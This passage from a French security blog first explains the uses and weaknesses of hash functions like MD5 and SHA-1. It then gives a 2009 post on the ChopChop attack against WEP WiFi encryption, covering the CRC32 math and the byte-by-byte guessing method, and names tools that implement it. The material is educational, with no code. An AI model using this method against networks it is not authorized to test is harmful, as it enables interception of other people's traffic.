On trouve souvent le résultat de ces fonctions à coté de fichier que l'on veut télécharger par exemple. Ce résultat permet de s'assurer que le fichier en notre possession est bien conforme. Il suffit de calculer le md5 du fichier que l'on possède. Si les md5 sont les mêmes, on a bien la même version (et on ne possède pas a priori une version vérolée, excepté bien entendu si le pirate a pu modifier le site web et le md5 affiché).
Une autre utilité est par exemple l'utilisation pour stocker des mots de passe. On ne stocke plus le mot de passe, mais le hash du mot de passe. De cette façon si un pirate s'empare du fichier (ou accède à la base de données), il ne s'empare plus du mot de passe, mais seulement de son hash (et comme il est impossible de remonter aux données initiales...). La vérification de ce dernier se faisant du coup en comparant le hash de la chaîne fournie avec la valeur stockée.
Enfin un autre exemple d'utilité est la signature numérique. Quand quelqu'un vous envoie un fichier, il calcule l'empreinte de ce fichier et chiffre cette dernière avec sa clef privé. A la réception, il ne vous reste plus qu'à déchiffrer la signature grâce à la clef publique de l'émetteur et à la comparer avec l'empreinte du fichier. Si c'est la même, alors vous êtes sûrs que le fichier envoyé n'a pas été modifié par une tierce personne, car seul l'émetteur a pu chiffrer l'empreinte (seul détenteur de la clef privé).

Maintenant que se passe-t'il quand la fonction de hachage n'est pas idéale ? On ne peut bien entendu toujours pas remonter aux données pour les raisons évoquées précédemment, mais par contre la difficulté pour trouver un y tel que f(y) = f(x) peut être réduite. C'est ce qui s'est produit pour le md5, puis plus tard pour SHA-1 qui réduit la complexité pour trouver une collision de 2⁸⁰ itérations (car le SHA-1 produit une sortie de 160 bits) à 2⁶⁹ en Février 2005, puis de nouvelles recherches ont prouvé qu'il était encore possible de faire mieux.

Jusqu'à présent les failles découvertes permettaient de simplifier le calcul pour trouver un couple x,y tel que f(x) = f(y). Chose intéressante bien entendu, mais beaucoup moins que trouver un y tel que f(y) = f(x) pour un x donné. Cela reste un premier pas vers le cassage total de l'algorithme.

Aujourd'hui les recherches en cryptanalyse sur le MD5 montrent qu'il est possible de trouver un y tel que f(y) = f(x) avec seulement une partie de x fixée. Alors vous allez dire que ca casse pas trois pattes à un canard quand il s'agit du mot de passe. Dans ce cas là c'est vrai qu'une bonne atttaque par dictionnaire (ou par rainbow tables) sera toujours plus intéressante, mais dans certains cas cela peut avoir des conséquences beaucoup plus génantes.

mercredi 7 janvier 2009

Attaque ChopChop

Premier article que j'écris en rapport avec la norme 802.11 plus connue sous le nom de WiFi. Pour bien comprendre cet article il est conseillé d'avoir déjà des connaissances sur le fonctionnement du protocole WEP (Wired Equivalent Privacy). Je vais parler d'une attaque relativement connue qui s'appelle l'attaque ChopChop qui a déjà fait ses preuves notamment contre le protocole WEP et qui depuis peu a été utilisé pour mettre en évidence les faiblesses du protocole TKIP (Temporal Key Integrity Protocol). Ce billet est le premier d'une série qui a pour objectif justement d'expliquer cette faille dans TKIP.

Historique


En 2004, alors que le WEP est déjà cassé depuis officiellement 2001, Korek publie la première version d'un outil appelé chopchop qui permet de décrypter n'importe quel paquet chiffré sans connaître la clef[1] WEP. Un nouveau coup dur pour le WEP qui n'en n'avait vraiment pas besoin. Ce n'était ni le premier et encore moins le dernier. Cette attaque probablement moins connue que les attaques FMS ou encore PTW (car elle ne permet pas de trouver la clef WEP) revient sur le devant de la scène grâce à la présentation de Erik Tews faite à la PacSec sur les faiblesses du protocole TKIP.

Fonctionnement de l'attaque


Pour commencer un tout petit rappel sur le fonctionnement du WEP s'impose. Très grossièrement chaque paquet est constitué de deux parties : les données et le CRC32[2] qui permet d'assurer l'intégrité de ces données. Le tout est ensuite envoyé à l'algorithme de chiffrement WEP c'est à dire RC4 : le paquet chiffré envoyé sur le réseau est le résultat du xor entre la concaténation du message et de son CRC32 et le keystream qui est fonction de la clef WEP et du vecteur d'initialisation courant. Si D est le message en clair, ICV l'opération de CRC32 (Integrity Check Value), C le message chiffré, K la clef WEP, IV le vecteur d'initialisation courant et || l'opérateur de concaténation alors ce que je viens d'écrire peut se résumer de cette façon :

C = RC4(IV || K) xor (D || ICV(D))

Ici tout ce qui est en vert est connu par une personne qui n'a pas la clef et qui écoute le réseau et tout ce qui est en rouge est inconnu.

Le CRC32 a à la base était écrit pour assurer l'intégrité des données et en aucun cas pour assurer leur sécurité. L'attaque ChopChop va donc utiliser plusieurs faiblesses de cet algorithme pour injecter des données sur le réseau.

Si l'on souhaite injecter des données dans le réseau à partir d'un paquet chiffré capturé alors nous avons les relations suivantes :

C = RC4(IV || K) xor (D || ICV(D)) est le paquet capturé.

D' représente les données que l'on va injecter dans le réseau tel que : D' = D xor Mod

Nous avons donc :

C' = RC4(IV || K) xor (D' || ICV(D'))

Ici comme nous ne connaissons pas D, nous ne connaissons pas non plus D'.

D' || ICV(D') = (D || ICV(D)) xor (Mod || ICV'(Mod)) ou ICV' est un CRC32 modifié

donc

C' = RC4(IV || K) xor (D || ICV(D)) xor (Mod || ICV'(Mod))

C' = C xor (Mod || ICV'(Mod))

Cette relation montre qu'à partir d'un paquet chiffré valide, il est possible d'injecter n'importe quelle modification de ce paquet. C' qui était inconnu est en définitif seulement fonction d'élément connu.

L'attaque ChopChop utilise une autre vulnérabilité du CRC32. Si le message C est tronqué de son dernier octet de données, le message devient donc invalide car le CRC32 ne correspond plus. Cependant si on xor C avec une certaine valeur Mod, alors le paquet redevient valide. Une démonstration mathématique[3] montre que Mod ne dépend que de la valeur en clair de l'octet tronqué.

On peut donc écrire que Mod = f(X) où X est la valeur en clair de l'octet tronqué.

L'attaque coule maintenant de source. Etant donnée qu'il y a 256 valeurs possibles pour X, il suffit de toutes les tester.

On prend donc notre paquet capturé C, on lui enlève le dernier octet de données. On prend comme hypothèse que la valeur non chiffrée X de cet octet tronqué est 0 et on génère notre modification :

C' = C xor f(x) avec x=0

On envoie C' et si C' est rejoué par l'Access Point alors c'est que notre paquet C' était valide, donc notre hypothèse sur X était bonne. On vient donc de trouver un octet en clair de C (donc un octet de D), et donc un octet du keystream utilisé pour chiffrer cet octet. Si le paquet C' n'est pas rejoué par l'Access Point, alors c'est que notre paquet C' n'est pas valide, donc notre hypothèse sur X était fausse. On retente en incrémentant X, jusqu'à que le paquet C' soit rejoué. En moyenne il faudra donc envoyer 128 paquets pour décrypter un octet.

La suite est évidente, on réitère la même méthode pour trouver tous les octets de D, donc octet par octet.

Outils Implémentant l'attaque


Le premier outil implémentant cette attaque est bien entendu la preuve de concept de Korek.

Le deuxième outil est aireplay-ng de la très célèbre suite aircrack-ng. N'hésitez pas à vos référer à cette page pour la mise en oeuvre de chopchop avec aireplay.

Liens


Voilà une liste de liens qui m'ont permis d'écrire cet article, n'hésitez pas à me corriger si vous avez trouvé des erreurs !

chopchop (Experimental WEP attacks)
Thread initial de Korek sur la preuve de concept. Le contenu du fichier zip que l'on peut avoir directement ici contient plein d'informations très utiles, notamment le fichier DOC.

ChopChop Theory
L'explication de l'attaque faite par le site aircrack-ng

Byte-Sized Decryption of WEP with Chopchop, Part 1
Byte-Sized Decryption of WEP with Chopchop, Part 2
Explications supplémentaires sur le fonctionnement de l'attaque.

Fameuses faiblesses de tkip
Pourquoi c'est pourri le wep part-2
L'explication du fonctionnement de ChopChop sur le blog de Cédric Blancher qui est une mine d'informations sur la sécurité des réseaux WiFi entre autres.

Notes


[1] C'est ici un pléonasme ! Décrypter veut dire trouver le texte en clair à partir du texte chiffré sans la clef.
[2] Le CRC32 comme son nom l'indique fait 32 bits, soit 4 octets.
[3] Cette démonstration mathématique se trouve dans le fichier DOC de la preuve de concept de Korek chopchop-0.1.zip.